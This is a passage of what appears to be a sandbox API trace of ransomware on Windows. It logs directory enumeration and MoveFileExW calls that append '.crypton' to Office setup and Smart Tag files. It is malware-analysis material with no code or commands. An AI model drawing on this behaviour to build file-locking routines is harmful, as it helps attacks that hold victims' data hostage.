controller\\outlook.en-us\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0071.915] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa839ae40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa839ae40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.917] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.crypton"), dwFlags=0x2) returned 1 [0071.921] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0071.921] GetFileType (hFile=0x174) returned 0x1 [0071.925] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa839ae40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa839ae40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.931] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.crypton"), dwFlags=0x2) returned 1 [0071.941] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0071.952] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa83e7100, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa83e7100, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.955] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.crypton"), dwFlags=0x2) returned 1 [0071.958] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0071.961] GetFileType (hFile=0x174) returned 0x1 [0071.965] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa840d260, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa840d260, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.968] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.crypton"), dwFlags=0x2) returned 1 [0071.969] GetFileType (hFile=0x174) returned 0x1 [0071.975] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa84333c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa84333c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.978] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.crypton"), dwFlags=0x2) returned 1 [0071.980] GetFileType (hFile=0x174) returned 0x1 [0071.984] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa84333c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa84333c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.987] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.crypton"), dwFlags=0x2) returned 1 [0071.987] GetFileType (hFile=0x174) returned 0x1 [0071.992] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa8459520, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8459520, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.994] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.crypton"), dwFlags=0x2) returned 1 [0072.000] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0072.001] GetFileType (hFile=0x174) returned 0x1 [0072.005] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa847f680, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa847f680, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0072.016] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.crypton"), dwFlags=0x2) returned 1 [0072.033] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0072.038] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa84cb940, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa84cb940, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0072.041] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.crypton"), dwFlags=0x2) returned 1 [0072.044] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0072.046] GetFileType (hFile=0x174) returned 0x1 [0072.052] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa84f1aa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa84f1aa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0072.059] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0072.067] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.crypton"), dwFlags=0x2) returned 1 [0072.068] GetFileType (hFile=0x174) returned 0x1 [0072.073] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa8517c00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8517c00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0072.085] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0072.092] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.crypton"), dwFlags=0x2) returned 1 [0072.093] GetFileType (hFile=0x174) returned 0x1 [0072.098] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa8563ec0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8563ec0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0072.102] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0072.105] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.crypton"), dwFlags=0x2) returned 1 [0072.113] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa8563ec0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8563ec0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0072.121] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa858a020, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa858a020, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0072.127] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa858a020, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa858a020, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0072.132] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa85b0180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa85b0180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0072.133] GetFileType (hFile=0x198) returned 0x1 [0072.138] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa85b0180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa85b0180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0072.142] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa85b0180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa85b0180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0072.150] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.crypton"), dwFlags=0x2) returned 1 [0072.153] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.crypton"), dwFlags=0x2) returned 1 [0072.175] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.crypton"), dwFlags=0x2) returned 1 [0072.245] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.crypton"), dwFlags=0x2) returned 1 [0072.252] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.crypton"), dwFlags=0x2) returned 1 [0072.545] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.crypton"), dwFlags=0x2) returned 1 [0072.546] GetFileType (hFile=0x190) returned 0x1 [0072.574] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa898e540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa898e540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0072.581] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa89da800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa89da800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0072.582] 